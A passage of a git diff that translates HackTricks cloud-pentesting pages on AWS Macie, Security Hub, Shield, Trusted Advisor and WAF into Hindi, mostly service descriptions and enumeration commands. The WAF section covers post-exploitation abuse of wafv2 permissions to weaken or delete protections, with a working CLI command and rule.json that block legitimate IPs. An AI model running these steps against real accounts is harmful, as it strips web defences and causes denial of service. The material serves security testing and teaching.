सुविधाजनक बनाता है। ### Enumeration - ``` # Get buckets aws macie2 describe-buckets @@ -102,12 +101,11 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - #### Post Exploitation > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> हमलावर के दृष्टिकोण से, यह सेवा हमलावर का पता लगाने के लिए नहीं बनाई गई है, बल्कि संग्रहीत फ़ाइलों में संवेदनशील जानकारी का पता लगाने के लिए बनाई गई है। इसलिए, यह सेवा **हमलावर को बकेट के अंदर संवेदनशील जानकारी खोजने में मदद कर सकती है**।\ +> हालाँकि, शायद एक हमलावर इसे बाधित करने में भी रुचि रख सकता है ताकि पीड़ित को अलर्ट प्राप्त करने से रोका जा सके और उस जानकारी को चुराना आसान हो जाए। TODO: PRs are welcome! @@ -116,7 +114,3 @@ TODO: PRs are welcome! - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..96302b904 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,21 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** सुरक्षा **डेटा** को **AWS खातों**, सेवाओं, और समर्थित तीसरे पक्ष के भागीदार उत्पादों से एकत्र करता है और आपको **आपकी सुरक्षा** प्रवृत्तियों का विश्लेषण करने और उच्चतम प्राथमिकता वाली सुरक्षा समस्याओं की पहचान करने में मदद करता है। -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +यह **खातों के बीच सुरक्षा से संबंधित अलर्ट को केंद्रीकृत** करता है, और इन्हें देखने के लिए एक UI प्रदान करता है। सबसे बड़ी सीमा यह है कि यह **क्षेत्रों के बीच अलर्ट को केंद्रीकृत नहीं करता**, केवल खातों के बीच। -**Characteristics** - -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards - -## Enumeration +**विशेषताएँ** +- क्षेत्रीय (खोज क्षेत्र पार नहीं करती) +- बहु-खाता समर्थन +- खोजें: +- Guard Duty +- Config +- Inspector +- Macie +- तीसरे पक्ष +- CIS मानकों के खिलाफ स्वयं-निर्मित ``` # Get basic info aws securityhub describe-hub @@ -50,7 +47,6 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - ## Bypass Detection TODO, PRs accepted @@ -61,7 +57,3 @@ TODO, PRs accepted - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..1cf673e9d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield को **वितरित सेवा से इनकार के हमलों** के खिलाफ आपकी अवसंरचना की **सुरक्षा** में मदद करने के लिए डिज़ाइन किया गया है, जिसे सामान्यतः DDoS के रूप में जाना जाता है। -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** सभी के लिए **मुफ्त** है, और यह कुछ सामान्य स्तर तीन, **नेटवर्क स्तर**, और स्तर चार, **परिवहन स्तर**, DDoS हमलों के खिलाफ **DDoS सुरक्षा** प्रदान करता है। यह सुरक्षा CloudFront और Route 53 के साथ एकीकृत है। -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced** DDoS हमलों के लिए AWS सेवाओं के व्यापक दायरे में **सुरक्षा का एक उच्च स्तर** प्रदान करता है, इसके लिए अतिरिक्त लागत पर। यह उन्नत स्तर EC2, CloudFront, ELB और Route 53 पर चलने वाले आपके वेब अनुप्रयोगों के खिलाफ सुरक्षा प्रदान करता है। इन अतिरिक्त संसाधन प्रकारों के अलावा, मानक की तुलना में DDoS सुरक्षा के उन्नत स्तर प्रदान किए जाते हैं। और आपके पास **AWS में एक 24-घंटे विशेष DDoS प्रतिक्रिया टीम, जिसे DRT के रूप में जाना जाता है, तक पहुंच होगी**। -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +जहां Shield का मानक संस्करण स्तर तीन और स्तर चार के खिलाफ सुरक्षा प्रदान करता है, **Advanced स्तर सात, अनुप्रयोग, हमलों के खिलाफ भी सुरक्षा प्रदान करता है।** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..88922f548 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,20 +6,20 @@ ## AWS Trusted Advisor Overview -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor एक सेवा है जो **सिफारिशें प्रदान करती है** आपके AWS खाते को अनुकूलित करने के लिए, **AWS सर्वोत्तम प्रथाओं** के अनुसार। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार मुख्य श्रेणियों में अंतर्दृष्टि प्रदान करता है: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Cost Optimization:** संसाधनों को पुनर्गठित करने के तरीके सुझाता है ताकि खर्च कम हो सके। +2. **Performance:** संभावित प्रदर्शन बाधाओं की पहचान करता है। +3. **Security:** कमजोरियों या कमजोर सुरक्षा कॉन्फ़िगरेशन के लिए स्कैन करता है। +4. **Fault Tolerance:** सेवा की लचीलापन और दोष सहिष्णुता को बढ़ाने के लिए प्रथाओं की सिफारिश करता है। -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Trusted Advisor की व्यापक सुविधाएँ केवल **AWS व्यवसाय या उद्यम समर्थन योजनाओं** के साथ उपलब्ध हैं। इन योजनाओं के बिना, पहुँच **छह मुख्य जांचों** तक सीमित है, जो मुख्य रूप से प्रदर्शन और सुरक्षा पर केंद्रित हैं। ### Notifications and Data Refresh -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor अलर्ट जारी कर सकता है। +- आइटमों को इसकी जांचों से बाहर रखा जा सकता है। +- डेटा हर 24 घंटे में ताज़ा होता है। हालाँकि, अंतिम ताज़ा होने के 5 मिनट बाद मैन्युअल ताज़ा करना संभव है। ### **Checks Breakdown** @@ -34,7 +34,7 @@ The comprehensive features of Trusted Advisor are exclusively accessible with ** #### Core Checks -Limited to users without business or enterprise support plans: +बिना व्यवसाय या उद्यम समर्थन योजनाओं वाले उपयोगकर्ताओं के लिए सीमित: 1. Security Groups - Specific Ports Unrestricted 2. IAM Use @@ -45,31 +45,27 @@ Limited to users without business or enterprise support plans: #### Security Checks -A list of checks primarily focusing on identifying and rectifying security threats: +सुरक्षा खतरों की पहचान और सुधार पर केंद्रित जांचों की सूची: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- उच्च-जोखिम पोर्ट के लिए सुरक्षा समूह सेटिंग्स +- सुरक्षा समूह की अनियंत्रित पहुँच +- S3 बकेट्स के लिए खुली लिखने/सूची पहुँच +- रूट खाते पर MFA सक्षम +- RDS सुरक्षा समूह की उदारता +- CloudTrail का उपयोग +- Route 53 MX रिकॉर्ड के लिए SPF रिकॉर्ड +- ELBs पर HTTPS कॉन्फ़िगरेशन +- ELBs के लिए सुरक्षा समूह +- CloudFront के लिए प्रमाणपत्र जांच +- IAM एक्सेस कुंजी रोटेशन (90 दिन) +- एक्सेस कुंजी का खुलासा (जैसे, GitHub पर) +- EBS या RDS स्नैपशॉट्स की सार्वजनिक दृश्यता +- कमजोर या अनुपस्थित IAM पासवर्ड नीतियाँ -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor AWS सेवाओं के अनुकूलन, प्रदर्शन, सुरक्षा, और दोष सहिष्णुता सुनिश्चित करने में एक महत्वपूर्ण उपकरण के रूप में कार्य करता है, जो स्थापित सर्वोत्तम प्रथाओं पर आधारित है। ## **References** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..dd8135065 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF एक **वेब एप्लिकेशन फ़ायरवॉल** है जिसे **वेब एप्लिकेशन या APIs** को विभिन्न वेब हमलों से सुरक्षित रखने के लिए डिज़ाइन किया गया है जो उनकी उपलब्धता, सुरक्षा या संसाधन खपत को प्रभावित कर सकते हैं। यह उपयोगकर्ताओं को **सुरक्षा नियम** स्थापित करके आने वाले ट्रैफ़िक को नियंत्रित करने की शक्ति देता है जो SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग जैसे सामान्य हमले के वेक्टर को कम करता है और कस्टम फ़िल्टरिंग नियमों को परिभाषित करके भी। ### Key concepts #### Web ACL (Access Control List) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACL नियमों का एक संग्रह है जिसे आप अपने वेब एप्लिकेशन या APIs पर लागू कर सकते हैं। जब आप एक Web ACL को एक संसाधन के साथ जोड़ते हैं, तो AWS WAF आने वाले अनुरोधों का निरीक्षण करता है जो Web ACL में परिभाषित नियमों के आधार पर होते हैं और निर्दिष्ट क्रियाएँ करता है। #### Rule Group -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Rule Group नियमों का एक पुन: उपयोग योग्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट को प्रबंधित और बनाए रखने में मदद करते हैं। -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +प्रत्येक नियम समूह का अपना संबंधित **क्षमता** होती है, जो आपके नियमों, नियम समूहों और वेब ACLs को चलाने के लिए उपयोग किए जाने वाले संचालन संसाधनों की गणना और नियंत्रण में मदद करती है। एक बार जब इसका मान निर्माण के दौरान सेट किया जाता है, तो इसे संशोधित करना संभव नहीं होता। #### Rule -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +एक नियम उन शर्तों का एक सेट परिभाषित करता है जिसका उपयोग AWS WAF आने वाले वेब अनुरोधों का निरीक्षण करने के लिए करता है। नियमों के दो मुख्य प्रकार हैं: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Regular Rule**: यह नियम प्रकार निर्दिष्ट शर्तों का उपयोग करता है यह निर्धारित करने के लिए कि वेब अनुरोधों को अनुमति दी जाए, अवरुद्ध किया जाए, या गिना जाए। +2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहाँ, उपयोगकर्ता एक सीमा परिभाषित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा से नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है। #### Managed Rules -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF पूर्व-निर्धारित, प्रबंधित नियम सेट प्रदान करता है जो AWS और AWS Marketplace विक्रेताओं द्वारा बनाए रखे जाते हैं। ये नियम सेट सामान्य खतरों के खिलाफ सुरक्षा प्रदान करते हैं और नए कमजोरियों को संबोधित करने के लिए नियमित रूप से अपडेट किए जाते हैं। #### IP Set -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +एक IP Set उन IP पतों या IP पते की रेंज की सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं। #### Regex Pattern Set -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +एक Regex Pattern Set में एक या एक से अधिक नियमित अभिव्यक्तियाँ (regex) होती हैं जो वेब अनुरोधों में खोजने के लिए पैटर्न को परिभाषित करती हैं। यह अधिक जटिल मिलान परिदृश्यों के लिए उपयोगी है, जैसे कि विशेष वर्णों के अनुक्रम को फ़िल्टर करना। #### Lock Token -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +एक Lock Token WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए उपयोग किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से एक ही संसाधन को एक साथ अपडेट करने का प्रयास करने वाले कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा अधिलेखित नहीं किए जाते हैं। #### API Keys -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुँच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें। -- **Example**: Integration of the CAPTCHA API. +- **Example**: CAPTCHA API का एकीकरण। #### Permission Policy -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुँच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें। #### Scope -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि WAF नियम और कॉन्फ़िगरेशन एक क्षेत्रीय एप्लिकेशन या एक Amazon CloudFront वितरण पर लागू होते हैं। -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहाँ ये संसाधन स्थित हैं। +- **CLOUDFRONT**: Amazon CloudFront वितरणों पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी परोसी जाए। ### Key features #### Monitoring Criteria (Conditions) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Conditions** उन तत्वों को निर्दिष्ट करते हैं जिनका AWS WAF आने वाले HTTP/HTTPS अनुरोधों पर निरीक्षण करता है, जिसमें XSS, भौगोलिक स्थान (GEO), IP पते, आकार की सीमाएँ, SQL इंजेक्शन, और पैटर्न (स्ट्रिंग और regex मिलान) शामिल हैं। यह ध्यान रखना महत्वपूर्ण है कि **देश के आधार पर CloudFront स्तर पर प्रतिबंधित अनुरोध WAF तक नहीं पहुँचेंगे**। -Each AWS account can configure: +प्रत्येक AWS खाता कॉन्फ़िगर कर सकता है: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **100 शर्तें** प्रत्येक प्रकार के लिए (Regex के लिए, जहाँ केवल **10 शर्तें** अनुमति दी जाती हैं, लेकिन इस सीमा को बढ़ाया जा सकता है)। +- **100 नियम** और **50 Web ACLs**। +- अधिकतम **5 दर-आधारित नियम**। +- जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 अनुरोध प्रति सेकंड** की थ्रूपुट। #### Rule actions -Actions are assigned to each rule, with options being: +प्रत्येक नियम को क्रियाएँ सौंपित की जाती हैं, विकल्प होते हैं: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Allow**: अनुरोध को उचित CloudFront वितरण या एप्लिकेशन लोड बैलेंसर पर अग्रेषित किया जाता है। +- **Block**: अनुरोध को तुरंत समाप्त कर दिया जाता है। +- **Count**: नियम की शर्तों को पूरा करने वाले अनुरोधों की गिनती करता है। यह नियम परीक्षण के लिए उपयोगी है, नियम की सटीकता की पुष्टि करने के लिए इससे पहले कि इसे Allow या Block पर सेट किया जाए। +- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके बॉट से नहीं आता है। -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) के अधीन होता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Whitelisted IPs को अनुमति दें। +2. Blacklisted IPs को अवरुद्ध करें। +3. किसी भी हानिकारक हस्ताक्षरों से मेल खाने वाले अनुरोधों को अवरुद्ध करें। #### CloudWatch Integration -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF निगरानी के लिए CloudWatch के साथ एकीकृत होता है, जो AllowedRequests, BlockedRequests, CountedRequests, और PassedRequests जैसे मैट्रिक्स प्रदान करता है। ये मैट्रिक्स डिफ़ॉल्ट रूप से हर मिनट रिपोर्ट किए जाते हैं और दो सप्ताह की अवधि के लिए बनाए रखे जाते हैं। ### Enumeration -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +CloudFront वितरणों के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा: -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - CloudFront स्कोप का उपयोग करते समय क्षेत्र US East निर्दिष्ट करें: `--scope CLOUDFRONT --region=us-east-1`। +- API और SDKs - सभी कॉल के लिए, क्षेत्र अंत बिंदु us-east-1 का उपयोग करें। -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +क्षेत्रीय सेवाओं के साथ बातचीत करने के लिए, आपको क्षेत्र निर्दिष्ट करना चाहिए: +- क्षेत्र यूरोप (स्पेन) के साथ उदाहरण: `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - ### Post Exploitation / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को WAF सुरक्षा और नेटवर्क एक्सपोजर की पहचान करने में मदद कर सकती है जो उसे अन्य वेब को समझौता करने में मदद कर सकती है। > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि वेब WAF द्वारा सुरक्षित न हों। -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +कई Delete और Update ऑपरेशनों में **lock token** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए, आप विशिष्ट संसाधन पर संबंधित **list** या **get** ऑपरेशनों को कर सकते हैं। #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +एक हमलावर प्रभावित संसाधन की सुरक्षा को समझौता करने में सक्षम होगा: +- नियम समूह बनाना जो, उदाहरण के लिए, वैध IP पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार हो सकता है। +- नियम समूहों को अपडेट करना, इसके कार्यों को **Block** से **Allow** में संशोधित करने में सक्षम होना। +- उन नियम समूहों को हटाना जो महत्वपूर्ण सुरक्षा उपाय प्रदान करते हैं। ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +निम्नलिखित उदाहरण एक नियम समूह को दिखाता है जो विशिष्ट IP पतों से वैध ट्रैफ़िक को ब्लॉक करेगा: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +**rule.json** फ़ाइल इस तरह दिखेगी: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**संभावित प्रभाव**: अनधिकृत पहुंच, डेटा उल्लंघन, और संभावित DoS हमले। #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +इन अनुमतियों के साथ, एक हमलावर सक्षम होगा: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- एक नया Web ACL बनाना, ऐसे नियम पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को अवरुद्ध करते हैं, प्रभावी रूप से WAF को बेकार बना देते हैं या सेवा का इनकार करते हैं। +- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करने में सक्षम होना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले अवरुद्ध किया गया था, या वैध अनुरोधों को अवरुद्ध करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना। +- एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, इसे वेब हमलों की एक विस्तृत 